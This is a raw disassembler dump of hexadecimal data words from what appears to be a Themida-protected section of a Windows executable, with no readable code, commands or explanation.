81042474h, 14042444h, 46000000h, 6623C356h, 50C640BFh dd 0CE9h, 0F36B4000h, 688BAB01h, 0CFA4840Fh, 240489D6h dd 1CE995FFh, 816607FAh, 616006D7h, 0BF6640B7h, 85C765E3h dd 7FA2BD9h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 4FC35040h, 84F299FFh, 23F0D2D9h, 0BEEF80E7h, 0EB96BD83h dd 0F0007FDh, 3884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6E990h, 0E3640000h, 22A91906h dd 27E9h, 68A0F00h, 8B000000h, 0FA0FC9BDh, 0C305007h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0ADC35646h, 3A2664BFh, 0D9BD837Fh dd 307FA2Bh, 483850Fh, 880F0000h, 8, 0EDBD0360h, 6107FA27h dd 0EB96BD83h, 0F0007FDh, 46884h, 0D88B6600h, 0EB96B5FFh dd 0B58907FDh, 7FA227Dh, 274595FFh, 0DB8107FAh, 1E5AD030h dd 0EB8AB58Bh, 23BF07FDh, 0C767459Fh, 1000106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0ED9D31F9h, 9607FA1Dh, 0DE8h, 2E55ED00h, 6E88082Bh dd 49BD9E78h, 8A60CA41h, 616160E6h, 6A96505Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 80D0C352h, 11E9D9CFh, 55000000h, 78E22797h, 0C5FDD3E2h dd 304A1289h, 0C71C48FEh, 0EB96B5FFh, 6A07FDh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 50418FC3h, 0D9F3C37Ah, 0CB99D8Bh, 95FF07FAh, 7FA18E1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3EC35343h dd 0C6FE86E0h, 0BE8B304h, 9A000000h, 4F8707ADh, 2FE51FE5h dd 8B0F928Fh, 16h, 11E9h, 0F9022100h, 748BC744h, 0B43798Ah dd 0E66E0E13h, 8B5F4DC7h, 0FDEB8AB5h, 0E9DB8007h, 1C7D858Bh dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0EC472DC3h, 0BF49A384h, 0EE9A23Bh, 1A000000h dd 1173B1C7h, 0AF7DFA1h, 0C281D6CBh, 858B604Eh, 7FA0CCDh dd 5E9h, 87672300h, 8961E7EFh, 0C486h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DF530368h, 0C3B3F489h, 0F56023FAh, 2F1858Bh, 8B6107FAh dd 0FA1CD995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 6EFF2EA1h, 0F51BCC5h dd 385h, 0DEBF0F00h, 1079BD8Bh, 0C28307FAh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 860FBE94h, 6, 31218D31h, 508907FAh, 96CF8120h, 8D373FF1h dd 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 8B60A7C1h, 0FA0D71B5h dd 29953107h, 6107FA18h, 0B88689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 63B314C3h dd 3C4A391h, 0EF81E90Fh, 4E2C6E96h, 116D9D33h, 6A07FAh dd 0EB96B5FFh, 816607FDh, 0FFB8E3F7h, 0FA1C9595h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 430E8ED5h, 5C881676h, 0F381662Fh, 0BD2B7CA0h, 7FA0F2Dh dd 1772F781h, 60961B8Ah, 0E02CBF66h, 12E9h, 77229A00h dd 0D065F126h, 0BCCFEA01h, 638B3483h, 612FCB29h, 0BB525050h dd 198E1080h, 585A310Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 3EAEDE7h, 603BB5D5h, 2860FCAh dd 8B000000h, 96B5FFDEh, 0FF07FDEBh, 0FA1D9595h, 5E907h dd 0EEC40000h, 834BEBB2h, 0FA0131BDh dd 840F0007h, 0Fh, 5296DE8Ah, 505B58B3h, 0E5852996h, 0FF07FA24h dd 0FDEB96B5h, 0D3816607h, 95FF0C5Dh, 7FA1CB5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 4DC35343h, 5499D09h dd 0B5FF07FAh, 7FDEB96h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 66C35646h, 0E9A9D802h, 14h, 0FEBD05CBh dd 28CC7F33h, 8D9FA65Fh, 5174C8EDh, 86E7D5C5h, 0FFD98B66h dd 0FA21AD95h, 35BB6607h, 21BD835Bh, 207FA22h, 58840Fh dd 0BD8B0000h, 7FA11A9h, 1615858Bh, 6A07FAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 262098C3h dd 4D858944h, 0C607FA0Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 21F815C3h, 0C30B13B6h dd 85C7A2D2h, 7FA16DDh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7AC35141h dd 750089B3h, 0B57DB51Fh, 33E78166h, 0F3C7E9F0h, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0DA2582C3h, 2FEC8021h, 0C1BD892Ch, 8B07FA0Eh, 8DDD8AC1h dd 0FA019985h, 419D8B07h, 5007FA2Fh, 489F88Bh, 12E924h dd 93060000h, 0AFD03369h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 8786EBC3h, 53D9F7C4h, 6A90F2CDh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 5E20280h, 858D336Eh, 7FEEBC4h, 0F98B6653h, 46BF665Bh dd 5C08336h, 18599D03h, 895007FAh, 8D0F2404h, 15h, 10E9h dd 0E55E0900h, 0EA86C438h, 0F9EC0A6Eh, 7C6157FEh, 60006A45h dd 80CEB060h, 0BB610CC7h, 2410F86Ch, 0DF816661h, 6A3B13h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 9AC35242h dd 13EEC771h, 95FF3163h, 7FA2BE9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0D9C35242h, 9FFBB422h, 8D8D1F88h dd 7FDD711h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0DAC35040h, 91CF81E1h, 23657A07h, 0FA18D1BDh, 0FD1FF07h dd 1385h, 0EE900h, 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh dd 33EDBD83h, 0F0107FAh, 9485h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 7983EFC3h dd 6A026A2Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0F764C355h, 0FE93679h, 12000000h dd 0A0E171Dh, 3DB8A28Ch, 1C9553A1h, 8A903482h, 0DD8A50D8h dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 40A6C600h, 68C0F90h, 9000000h, 0FA26B5B5h dd 9595FF07h, 8B07FA1Ch, 0FA1F21BDh, 0DF1E907h, 0E80000h dd 5D000000h, 0EBCEED81h, 6A07FEh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 950912C3h, 7FA0675h dd 6870Fh, 0BD890000h, 7FA2D71h, 0B959858Dh, 9D8907FDh dd 7FA1CF5h, 0B810Fh, 1600000h, 0FA0C858Dh, 0F8BF0F07h dd 0BBF9061h, 50191FCDh, 310F5250h, 585A5B57h, 559D8B90h dd 6407FA14h, 35FFh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 10C2FBC3h, 0E99D8B2Ah dd 6407FA2Ah, 2589h, 0FFF80000h, 0FA104985h, 6AFF6A07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B59C356h, 0FA0EE9BDh, 299D8B07h, 0FF07FA26h dd 0FA112DB5h, 0F98B5707h, 95FFF95Bh, 7FA2875h, 123E9h dd 0D19D8B00h, 0B007FA0Ah, 0FABF0F00h, 0EE970E6h, 0E000000h dd 0E1BCF584h, 0F424DC85h, 18B9092Ch, 5171E41Ch, 26E9C3BFh dd 613C5B44h, 0F2830Fh, 0B5310000h, 7FA20B1h, 2553F9BFh dd 0C8B60F57h, 0C14EF0BFh, 6BA17h, 0BF0F0000h, 60C18BDBh dd 0BE9h, 8FC37600h, 5B0E96E6h, 0B138289Fh, 1479B501h dd 0C16107FAh, 87BF04E8h, 6640092Fh, 0BD0BE2F7h, 7FA21D5h dd 0F781C82Bh, 0D166713h, 0FC60D18Bh, 29559501h, 0E96107FAh dd 94h, 858BDA8Bh, 8, 0BD89DA8Ah, 7FA076Dh, 2907C083h dd 0FA2275B5h, 69BD8B07h, 8307FA2Ah, 860F00C0h, 2, 0D03BF98Bh dd 0D830Fh, 0FB8B0000h, 5BE9h, 19BD3300h, 8B07FA25h, 0FFFFFF8Dh dd 0EE8FFh, 52CC0000h, 2B24F137h, 0B0E0F81Eh, 103D61E6h dd 0D3D38166h, 0E1835F43h, 2D840F01h, 0E9000000h, 6, 2DF1FE8Bh dd 0A58315BAh, 0FFFFFFFFh, 0BE9FEh, 0B93C0000h, 98652915h dd 0FD50DA2Ah, 89589B4h, 0E9000000h, 0 dd 6569B58Dh, 816607FEh, 6ABE35DBh, 959D8B00h, 0FF07FA2Bh dd 0FA101995h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0D21EC580h, 499D098Fh dd 8B07FA16h, 0FA07CDBDh, 0FE9B907h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5C8A69C3h dd 0D88BB411h, 8BFCE183h, 0FA02C1BDh, 8529FC07h, 7FA2C9Dh dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 595365B2h, 6D9D0115h, 6607FA07h dd 2BA802BFh, 52006AD2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 6082AD57h, 0B70FD08Bh, 33AD61F0h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 3BF6B0C3h, 5668EC6Bh dd 81669FE1h, 60164FD3h, 9E9h, 5118F00h, 0E538EC5Bh, 8B0F2E12h dd 6, 153DB58Bh, 6A6107FAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 32F0C355h, 0E2441EDFh dd 880D34A7h, 60000000h, 0F2BF0FF5h, 0D9958B61h, 6A07FA1Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0FA38C352h, 800F26CAh, 12h, 0CE8h, 4B6A8A00h dd 0A8904721h, 4201F8F5h, 8D8B5F80h, 7FA31ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8CC35242h, 0C283E288h dd 10D78166h, 0ED8589F6h, 5007FA2Eh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0B5BD8B58h, 8B07FA33h, 0FA294DBDh dd 29BD8307h, 7FA2Ah, 7E840Fh, 0BB660000h, 0B876F4h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 53D1C356h, 0D3827505h, 8D113F9Dh, 0FA4F668Dh dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 2400D289h, 0CA2E7248h, 6890Fh, 9D2B0000h dd 7FA11A1h, 1C499D8Bh, 0E1FF07FAh, 0FE9h, 81047C00h, 0A622E3E0h dd 0E92DE624h, 7FBC4B97h, 2BD9BD83h, 0F0007FAh, 45784h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 57ADDF57h, 2781BD09h, 835B07FAh, 0FA2BD9BDh dd 840F0107h, 43Fh, 0A6D9D8Bh, 83F907FAh, 0FA2BD9BDh, 860F0307h dd 3F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 21C35343h, 4C7B690Bh, 37EDE2DAh, 0A19D8B52h, 0B707FA10h dd 860F60DCh, 4, 0D4CEBB66h, 13E8h, 6E99D300h, 0CEC7917Fh dd 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 0ACE38166h, 8C665BA4h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0DC874EE5h, 29068C2Eh, 0FA1495BDh, 4E18007h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A6C35545h dd 840FC90Ah, 153h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0BAC35343h, 89B1FFF7h, 0FA26D98Dh, 0EE907h dd 95000000h, 747E228Bh, 14A014FFh, 0F6EC19A3h, 0FE9858Bh dd 0BF0F07FAh, 0FBBF0FFBh, 15E18533h, 8BF507FAh, 0DE8A90FEh dd 0CDBB6650h, 6A90DDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 3E8B21C3h, 0B09BFACBh, 6E9EBh, 6EDD0000h dd 5301CB7Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0A8ABB0C3h, 0C1F76806h, 4EBB9AB5h dd 817A9382h, 42082404h, 6A6569h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0A9C107C3h, 4C31C9BAh dd 0E8151308h, 0Fh, 6EAC22A1h, 905287B4h, 4B14C88Dh, 8BA2C39Bh dd 0FA2C419Dh, 0BB665F07h, 95FF692Bh, 7FA1CE9h, 0E780FE8Bh dd 96858981h, 6A07FDEBh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4DFDC353h, 118749BBh dd 729A74Dh, 0CE8h, 3C80D100h, 526C7F93h, 0C7B63D17h, 850F9Dh dd 5F000000h, 1B5E9h, 759D8900h, 8B07FA2Fh, 0FDEB8E85h dd 0C7F807h, 18h, 8BFE8B66h, 0FDEB92B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B278D89h, 0FA0D5185h, 8EBB6607h, 6A0689BEh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 5AAEC353h, 0C380C7ADh, 0E3BF6608h, 0E9858B6Dh, 6A07FA0Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0D8C1C352h, 8A724F1Eh, 89FA8BD8h, 95890446h dd 7FA0091h, 0F0FEBF50h aIii4J db 'КI┴4$j',0 ; DATA XREF: Themida_:005AA781o db 56h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FDB7313h, 684h, 899D8B00h, 0F07FA01h, 1789h, 6E800h dd 8F770000h, 7B252DEAh, 6E9h, 74864600h, 5B727BC7h, 0EB8EB5FFh dd 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 4E826C3h, 0FF000000h, 50001F03h, 6919BB51h dd 8B5F346Ah, 60042444h, 615A5360h, 89008B61h, 58042444h dd 858DF88Bh, 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 83C35040h, 166A77C6h, 32D10914h, 2145BD89h dd 669007FAh, 5002C4BFh, 0FC6070BFh, 8B669032h, 0E995FFDFh dd 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0AF31C356h, 0E9D58F88h, 0Bh, 0FC2DCBF7h dd 0EA309640h, 0F9807E8h, 582h, 0CB816600h, 81615A59h dd 275F10EBh, 183BF08h, 85C71BA7h, 7FA2BD9h, 3, 1F39B589h dd 0BD8307FAh, 7FDEB96h, 22840F00h, 0FC000000h, 37E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0C30509Ah, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B5C35545h, 90142F24h, 6A5F57h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 680FFCC3h, 96F32AE3h, 11E96CB1h, 69000000h, 59132C76h dd 56597255h, 656E5F60h, 0F6CD0F07h, 24DDBD29h, 0BD8307FAh dd 7FA2BD9h, 20850F03h, 81000004h, 0E1BD39F7h, 96BD8367h dd 7FDEBh, 40D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 30E94CC3h, 8B2AD780h dd 0FA2B3DBDh, 96B5FF07h, 6A07FDEBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3A54C352h dd 66FB1998h, 0FFAE16BBh, 0FA274595h, 4D858907h, 0FC07FA0Dh dd 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0BF712FC3h, 282B0800h, 106C7h, 6A0001h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 7123FAC3h, 0E94995EEh, 60ADCA6Bh, 177DB58Bh, 296107FAh dd 0FA0D718Dh, 52505007h, 52505250h, 585A310Fh, 8B66310Fh dd 0F585AF9h, 5A98B331h, 24348958h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 1CC35141h, 0A9189CEAh, 519D33F3h dd 0FF07FA31h, 0FDEB96B5h, 0FEB70F07h, 18E195FFh, 8B6007FAh dd 0FA007D8Dh, 0E5952907h, 6107FA30h, 0EB8AB58Bh, 0FE907FDh dd 0FC000000h, 0E5DEEB37h, 3B94B6B8h, 884DF861h, 858B83BDh dd 7FA1C7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0AAC35141h, 2724EDD1h, 4585D0A9h, 183DBD23h, 868907FAh dd 0C4h, 5E9h, 0AF493300h, 958B0090h, 7FA1CD9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C1C35040h, 33B55D49h dd 8B846EFCh, 0FA1C999Dh, 4C28307h, 2CEF8166h, 2050891Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5CC35545h dd 0B531C29Bh, 7FA24A5h, 0FEF7858Dh, 858907FDh, 7FA0651h dd 0B88689h, 0DAB70000h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0E77D1FC3h, 6850F7Eh dd 8B000000h, 0FA3495BDh, 96B5FF07h, 6607FDEBh, 95FFDE8Bh dd 7FA1C95h, 8CCF8166h, 606050EBh, 0D18A5FB3h, 52BA6661h dd 3489615Eh, 0B5FFF924h, 7FDEB96h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 6CC35545h, 8E0FAF93h, 2, 95FFF88Bh dd 7FA1D95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6FC35747h, 62ABF236h, 9896B8C5h, 31BD83C5h, 7FA01h dd 6D840Fh, 8B0F0000h, 6, 24A99D8Bh, 8D0F07FAh, 6, 26E99529h dd 509607FAh, 8D0F5250h, 5, 8A2369BFh, 0E8310F54h, 9, 0F2F669FCh dd 0EE57C56Bh, 0FE9E3h, 0D0C50000h, 9F84E8A1h, 4866279Bh dd 1EE8CB14h, 585A5F1Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0FF33A049h, 0FDEB96B5h dd 0FE907h, 7E3A0000h, 18F2C55Ch, 8A00B82Fh, 0BE224B3Dh dd 0B595FFD3h, 6007FA1Ch, 0FCA8B66h, 689h, 71858900h, 6107FA08h dd 0EB96B5FFh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0FF2193C3h, 0BB6613BBh, 95FFF434h dd 7FA21ADh, 231DB529h, 0BD8307FAh, 7FA2221h, 58840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0F16FC352h, 0A5BD8B4Ch, 8907FA0Ah dd 0FA2975B5h, 15858B07h, 8B07FA16h, 0FA0A859Dh, 0C607h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D4C35141h dd 0C7B6C2D9h, 0FA16DD85h, 7, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 5AD351FAh dd 0D7627D50h, 18059589h, 0E9F807FAh, 0FFFFF305h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 6AC35040h, 0B20417A3h dd 9D8BF3B9h, 7FA17CDh, 2C219529h, 0C18B07FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0DEC35242h, 8D0B773Dh dd 0FA019985h, 81BD8B07h, 5007FA17h, 61D98B60h, 60240489h dd 0B589FA8Ah, 7FA0B45h, 6A006A61h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0E137C352h dd 45466EAEh, 8151B352h, 9EA388C7h, 0E9006A10h, 6, 8900CD49h dd 11E9E307h, 0DB000000h, 1673609Ah, 7B14B8E3h, 0EC9DEE09h dd 6CB6C03Ah, 0FBC9858Dh, 0BD8907FEh, 7FA239Dh, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 60A2C351h, 667AAA2Bh, 4E88CF81h, 12E86050h dd 76000000h, 4B715678h, 0D5A1E786h, 66681C5Bh, 87DFB1FBh dd 5EB0B0D7h, 0CE8h, 4C5C3700h, 85EE2C5h, 52CBD6C5h, 0DEBA66ECh dd 89615950h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FB204C3h, 0CF80FEBFh, 0DE891h dd 0BA020000h, 7E44EAF4h, 7264DA26h, 9965932h, 0FA25C9BDh dd 6A5B07h, 800F006Ah, 0Ah, 5E9h, 98FEC00h, 95FFFC8Ah dd 7FA2BE9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 54C35242h, 25B589DBh, 8D07FA28h, 0FDD7118Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4424ACh dd 0E90EEAA6h, 6, 82738C71h, 8B6689F1h, 0F8D1FFFEh, 33EDBD83h dd 0F0107FAh, 7985h, 0DBD8B00h, 6A07FA2Eh, 0C99D8902h dd 6007FA16h, 0B5858B60h, 6107FA33h, 52509061h, 310FDE8Bh dd 58C0Fh, 70BF0000h, 5A6C1E74h, 0FE85058h, 20000000h dd 0EB251DE8h, 291E2A74h, 9D451378h, 0D88B4071h, 6A905Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 104FCC3h, 66A7AFD6h, 27C6CB81h, 1C9595FFh, 895207FAh dd 0FA2181B5h, 0A1E95B07h, 0E800000Ch, 0 dd 0D3ED815Dh, 3107FEFBh, 0FA32B585h, 0FCEB8107h, 0F2BEA06h dd 858DD9BFh, 7FDB959h, 68A0Fh, 9D890000h, 7FA181Dh, 50F98B90h dd 6090FC8Ah, 15DD8503h, 800F07FAh, 6, 34F98501h, 896107FAh dd 0FA2821BDh, 35FF6407h, 0 dd 258964h, 8B000000h, 0FA07B5BDh, 4985FF07h, 6A07FA10h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 3A40C352h, 0B8F780FCh, 6AFF6Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 327264C3h dd 0DB819659h, 7E4A8282h, 2D6DB5FFh, 6A07FAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0AFB655C3h dd 38BEB907h, 0F53AEDF7h, 287595FFh, 37E907FAh, 81000001h dd 105BC4DBh, 8B00B038h, 0FA17899Dh, 0F70E607h, 71E4D9B7h dd 0C0DF8166h, 0F613CCAh, 11583h, 9DBD8900h, 0F07FA0Ah dd 0E860C8B6h, 6, 3B1E2C13h, 8B66D1F3h, 852959F1h, 7FA2EA1h dd 8B666061h, 0BA61FCD6h, 6, 28218589h, 6E907FAh, 0BC000000h dd 0A859BC8Dh, 81C18B74h, 4234AFE7h, 4E8C149h, 0FE8h, 17888700h dd 0C789C0D3h, 0DDCE1A36h, 68453465h, 68F0Fh, 0BD8B0000h dd 7FA3399h, 0E2F7665Fh, 280D9D89h, 0C82B07FAh, 8BFABF0Fh dd 0ADDFBFD1h, 93E932B4h, 29000000h, 0FA07619Dh, 1858B07h dd 8B000000h, 0FA082DBDh, 7C08307h, 0C083DA8Bh, 0FE800h dd 0CF270000h, 42E9FE33h, 38A53658h, 95153D04h, 0F5BF8CEh dd 0D03BDFB7h, 29830Fh, 0BD890000h, 7FA1F59h, 8E9h, 77FAAF00h dd 0F6950D6Eh, 40E916h, 0CE90000h, 0C0000000h, 72981DEDh dd 0B2DE2EDEh, 8B6C2DFBh, 0FFFFFF8Dh, 0E183F9FFh, 1F840F01h dd 80000000h, 0A58303EBh, 0FFFFFFFFh, 0F19D23FEh, 8907FA28h dd 195h, 94BF6600h, 0E9DCh, 0B58D0000h, 7FE7552h, 9E8h dd 55536100h, 7AFCBFF4h, 6A5B4BD7h, 49BD8900h, 0FF07FA1Ch dd 0FA101995h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 60A823A3h, 0F28B52B2h dd 0FFDB961h, 31570000h, 0FA27F9BDh, 0E1835B07h, 0F19509FCh dd 0FC07FA0Eh, 5E9h, 870BE700h, 0C02B3633h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E5C35343h, 0BDED6094h dd 53C78166h, 0BAC1h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 857B90C3h, 0D72ADFDEh dd 0D98B8BBBh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 25C35343h, 0C1968396h dd 5E8h, 180A9200h, 0BD8919D7h, 7FA0849h, 0FFB70F5Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 68C35747h, 0FF735770h dd 880DACDDh, 8B000000h, 0FA1D85BDh, 0D9958B07h, 6A07FA1Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0CFA6C356h, 8D8BA0B8h, 7FA31ADh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 18C35040h, 11D0D594h dd 81BA1540h, 97CA10F7h, 6BF662Eh, 0C28B50CEh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0FA2981BDh, 458D8907h dd 8307FA21h, 0FA2A29BDh, 840F0007h, 37h, 2359BD89h, 0B807FAh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 92E7C350h, 172F7D17h, 4F668D8Dh dd 0E1FF07FAh, 83DE8B66h, 0FA2BD9BDh, 840F0007h, 387h dd 2BD9BD83h, 0F0107FAh, 39584h, 5830F00h, 0BF000000h dd 290461BDh, 2BD9BD83h, 0F0307FAh, 34786h, 5FBF6600h dd 8C666021h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 5FBA6FDBh, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F237C351h dd 317A2EA2h, 4413495Fh, 0ABEB8166h, 0FC90A8Bh, 0D684h dd 0FE96000h, 0DB000000h, 1176C428h, 0CD433B4Eh, 640AD6E2h dd 0B58BE0A2h, 7FA2C21h, 0E9858B61h, 6A07FA0Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 28F1C350h, 3040860Ah, 33D98B66h, 0FA15E185h, 9D015607h dd 7FA1DEDh, 5250905Bh, 4311BF66h, 0C3B3310Fh, 0E950585Ah dd 5, 0F87EBE87h, 0F569040h, 6A5FD8BFh, 